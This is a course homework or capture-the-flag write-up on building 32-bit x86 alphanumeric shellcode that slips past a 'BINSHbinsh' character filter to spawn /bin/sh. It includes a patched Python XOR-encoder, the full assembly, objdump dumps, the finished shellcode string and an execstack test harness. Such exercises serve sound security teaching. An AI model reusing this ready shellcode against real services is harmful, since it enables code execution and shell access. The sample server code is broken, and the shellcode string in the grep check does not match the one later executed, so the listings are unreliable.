alnum Writeup
Security Programming Homework 2-2
Alphanumeric Shellcode Executor
Once connect to the service, it will prompt the following message:
$ nc secprog.cs.nctu.edu.tw 10022
Welcome to AlphaNumeric Shellcode executor!
You can only use 0-9 A-Z a-z.
"BINSH" and "binsh" are filter out.
Please input your shellcode:
This is a alphanumeric shellcode executor, it sucks in the input string which only contains alphanumerics (except the characters in “BINSHbinsh”). The server code and the code below may look alike:
#include stdio.h
#include stdlib.h
#include string.h
int main(void) {
char shellcode[];
char *invalid = "BINSHbinsh";
int i = 0;
scanf("%s", shellcode);
for(i = 0; i < strlen(shellcode); i++) {
if(strchr(shellcode, invalid[i]) != NULL) {
puts("Invalid input! byebye...\n");
exit(0);
}
}
(*(void (*)()) shellcode)();
return 0;
}
After checking the string, the program counter will jump to the starting point of the shellcode, and executes it. The shellcode is in stack, so Data Execution Prevention (DEP) must not be enabled.
Encode The Shellcode
I found a helpful Japanese article, which goes through all the processes of generating an alphanumeric shellcode. But there is one more restriction (excluding “BINSHbinsh”) in the Homework.
First, the most important thing is that finding a workable shellcode that opens
a shell. Following is a normal shellcode that executes /bin/sh. It pushes
the instructions into stack and finally jumps to esp to execute the code it
just pushed.
/* test.s */
.intel_syntax noprefix
.globl _start
_start:
push 0x80cd0b42
push 0x8de18953
push 0x52e3896e
push 0x69622f68
push 0x68732f2f
push 0x6852d231
jmp esp
To prove that it can actually open a shell:
$ gcc -m32 -nostdlib test.s
$ ./a.out
sh-4.3$
But when you look into the content of the binary, you’ll discover that it is not alphanumeric, it contains many non-printable characters. Sadly, most of the printable characters are not allowed in the problem, i.e. “BINSHbinsh”.
$ objdump -s -j .text a.out
a.out: file format elf32-i386
Contents of section .text:
8048098 68420bcd 80685389 e18d686e 89e35268 hB...hS...hn..Rh
80480a8 682f6269 682f2f73 686831d2 5268ffe4 h/bih//shh1.Rh..
The instructions listed below are valid because their opcode are in the range of alphanumerics.
30 XOR r/m8 r8
31 XOR r/m16/32 r16/32
32 XOR r8 r/m8
33 XOR r16/32 r/m16/32
34 XOR AL imm8
35 XOR eAX imm16/32
38 CMP r/m8 r8
39 CMP r/m16/32 r16/32
40+r INC r16/32 (except for eax, edx)
48+r DEC r16/32 (except for eax, ecx, esi)
50+r PUSH r16/32 (except for ebx)
58+r POP r16/32 (only for eax, ecx, edx)
61 POPAD
6a PUSH imm8
6b IMUL r16/32 r/m16/32 imm8
70-7a JO/JNO/JB/JNB/JZ/JNZ/JNA/JA/JS/JNS/JP rel8
We cannot push 32/16-bit immediate value directly into stack, because the opcode of the instruction is invaild. Also, the immediate value which pushed into the stack is invalid, either. That kind Japanese provided a neat Python script that automatically generates some valid values. The result of XORed of the values is the original value we want to push into the stack. Then we can XOR these value with the register to store the value we want. This Python script only promises that the decomposite vaules are alphanumerics. In order to exclude “BINSHbinsh” in the shellcode, that Python script must be patched to meet the requirement.
#!/usr/bin/env python
# decomposite.py
#
import sys
import struct
word = int(sys.argv[1], 16)
alnum = range(0x30, 0x3a) + range(0x41, 0x5b) + range(0x61, 0x7b)
allowed = [ i for i in alnum if chr(i) not in "BINSHbinsh" ] # patch
chunk = struct.pack('<I', word)
x = ''
y = ''
z = ''
for c in map(ord, chunk):
if c >= 0x80:
z += '\xff'
c ^= 0xff
else:
z += '\x00'
for i in allowed:
if i^c in allowed:
x += chr(i)
y += chr(i^c)
break
print hex(struct.unpack('<I', x)[0])
print hex(struct.unpack('<I', y)[0])
print hex(struct.unpack('<I', z)[0])
With this handy script, we can get rid of many invalid characters.
[origin]: 0x80cd0b42
0x30433230
0x4f713972
0xffff0000
[origin]: 0x8de18953
0x31443030
0x435a4663
0xffffff00
[origin]: 0x52e3896e
0x31443034
0x6358465a
0xffff00
[origin]: 0x69622f68
0x30304330
0x59526c58
0x0
[origin]: 0x68732f2f
0x30304343
0x58436c6c
0x0
[origin]: 0x6852d231
0x30314141
0x58636c70
0xff00
Strategy
So the strategy of generating an alphanumeric shellcode is:
- Clear all registers
- Make some register to be
0xfffffffffor convenience XORregister with immediate values to shape the wanted valuePUSHthe register into the stack- Do some minor change through XORing byte by byte
PUSH espinto the stack- Jump to the top of the stack by calling
RET
You might wonder: why RET can be used? Actually it can’t. So we place a
dummy value there, and patch it when executing the shellcode. The total length
of the shellcode should be carefully calculated in order to patch the right
byte where the dummy value resides. Otherwise, our happy friend (core dump)
will show up.
Patch Patch Patch
The almighty Japanese had already provided a prototype for us! Thanks bro! But still there are some parts must be patched to pass the check. All I have done is that:
- Replace the invalid immediate vaule
- Replace
esiwithediinpatch_ret - Replace
ebxandedxwithesiwhen pushing zero into the stack - Eliminate 5 lines of
dec ecx, and increase the length of the shellcode - Re-calculate the position of the dummy value.
And the result is:
/* alnum.s */
.intel_syntax noprefix
.globl _start
_start:
/* set buffer register to ecx */
push eax
pop ecx
prepare_registers:
push 0x30
pop eax
xor al, 0x30
/* omit eax, ecx */
push eax /* edx = 0 */
push eax /* ebx = 0 */
push eax
push eax
push eax /* esi = 0 */
push ecx /* edi = buffer */
popad
dec edx /* edx = 0xffffffff */
patch_ret:
/* garbage */
push eax
xor eax, 0x30303030
/* 0x44 ^ 0x78 ^ 0xff == 0xc3 (ret) */
push edx
pop eax
xor al, 0x44
push 0x30
pop ecx
xor [edi+2*ecx+0x30], al
build_stack:
/* push 0x80cd0b42 */
push esi
pop eax
xor eax, 0x30433230
xor eax, 0x4f713972
push eax
push esp
pop ecx
inc ecx
inc ecx
xor [ecx], dh
inc ecx
xor [ecx], dh
/* push 0x8de18953 */
push esi
pop eax
xor eax, 0x31443030
xor eax, 0x435a4663
push eax
push esp
pop ecx
inc ecx
xor [ecx], dh
inc ecx
xor [ecx], dh
inc ecx
xor [ecx], dh
/* push 0x52e3896e */
push esi
pop eax
xor eax, 0x31443034
xor eax, 0x6358465a
push eax
push esp
pop ecx
inc ecx
xor [ecx], dh
inc ecx
xor [ecx], dh
/* push 0x69622f68 */
push esi
pop eax
xor eax, 0x30304330
xor eax, 0x59526c58
push eax
/* push 0x68732f2f */
push esi
pop eax
xor eax, 0x30304343
xor eax, 0x58436c6c
push eax
/* push 0x6852d231 */
push esi
pop eax
xor eax, 0x30314141
xor eax, 0x58636c70
push eax
push esp
pop ecx
inc ecx
xor [ecx], dh
push esp
ret:
.byte 0x78
It is time to assemble the assembly code into the real executable! After that
we can check whether the .text section consists of all printable character
or not.
$ gcc -m32 -nostdlib alnum.s -o alnum
$ objdump -s -j .text alnum
alnum: file format elf32-i386
Contents of section .text:
8048098 50596a30 58343050 50505050 51614a50 PYj0X40PPPPPQaJP
80480a8 58505850 58353030 30303530 30303035 XPXPX50000500005
80480b8 30303030 35303030 30525834 446a3059 000050000RX4Dj0Y
80480c8 30444f44 56583530 32433035 7239714f 0DODVX502C05r9qO
80480d8 50545941 41303141 30315658 35303044 PTYAA01A01VX500D
80480e8 31356346 5a435054 59413031 41303141 15cFZCPTYA01A01A
80480f8 30315658 35343044 31355a46 58635054 01VX540D15ZFXcPT
8048108 59413031 41303156 58353043 30303558 YA01A01VX50C005X
8048118 6c525950 56583543 43303035 6c6c4358 lRYPVX5CC005llCX
8048128 50565835 41413130 35706c63 58505459 PVX5AA105plcXPTY
8048138 41303154 78 A01Tx
Using the following command to check whether the alpanumeric shellcode contains “BINSHbinsh” or not.
$ echo \
'PYj0X40PPPPPQaJP50000RX4Dj0Y0DO0VX502C05r9qOPTYAA01A01VX500D15cFZCPTYA01A01A01VX540D15ZFXcPTYA01A01VX50C005XlRYPVX5CC005llCXPVX5AA105plcXPTYA01Tx' | grep [BINSHbinsh]
Nothing showed up! That means there is no character of “BINSHbinsh”. And the alphanumeric shellcode is only 151 characters long. So let’s put the shellcode into our simple shellcode executor:
/* shellcode.c */
int main(void)
{
char shellcode[] = "PYj0X40PPPPPQaJPXPXPX50000500005000050000RX4Dj0Y0DODVX502C05r9qOPTYAA01A01VX500D15cFZCPTYA01A01A01VX540D15ZFXcPTYA01A01VX50C005XlRYPVX5CC005llCXPVX5AA105plcXPTYA01Tx";
(*(void (*)())shellcode)();
}
Do not forget we are on 32-bit machine and the shellcode is stored in the stack. To be able to execute the shellcode on the stack, one must disable DEP during the compilation time.
$ gcc -m32 -z execstack -o shellcode shellcode.c
$ ./shellcode
sh-4.3$
Bingo! Now submit the alphanumeric shellcode to the server, and cat the flag!
Flag
SECPROG{IncredibleASMProgrammer}